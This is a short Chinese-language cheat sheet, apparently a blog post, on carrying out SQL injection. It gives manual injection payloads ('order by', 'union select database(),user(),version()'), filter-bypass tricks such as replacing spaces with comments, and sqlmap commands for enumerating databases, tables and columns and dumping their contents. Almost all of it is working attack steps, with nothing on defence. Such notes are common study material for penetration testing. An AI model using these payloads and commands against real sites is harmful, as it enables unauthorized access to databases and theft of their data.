sql注入
时间:2021-07-01 10:21:17
帮助过:12人阅读
一、步骤
-
判断是否存在注入,注入是字符型还是数字型
-
猜解sql查询语句中的字段数
-
确定显示的字段顺序
-
获取当前数据库
-
获取数据库中的表
-
获取表中的字段名
-
下载数据
-
工具:sqlmap
二、寻找注入点
-
输入的字段作为string,用单引号或双引号来判断
-
’
-
输入的字段作为数值型,此时没有字段两边引号,也适用于没有错误回显(盲注)
-
id=1 and 1=1和id=1 and 1=2
-
id=1 or 1
-
id=-1
三、过滤
-
空格被过滤,可以用/**/(注释)替换
-
=被过滤,可以用like替换
四、手工注入
-
判断字段数: order by 数字
-
判断回显位置:union select 1,2,3,4...
-
判断数据库信息:union select database(),user(),version(),...
五、编码
六、sqlmap
-
python sqlmap.py -u "url" //查询是否存在注入点
-
python sqlmap.py -u "url" --tamper "base64encode.py" //使用base64编码
-
python sqlmap.py -u "url" --dbs //查询数据库
-
python sqlmap.py -u "url" -D dbname --tables //查询表
-
python sqlmap.py -u "url" -D dbname --tables --columns //查询字段名
-
python sqlmap.py -u "url" --dump -T tablename -C "字段名" //获取字段的值
sql注入
标签:数据 col select python 信息 取数 md5 字段 手工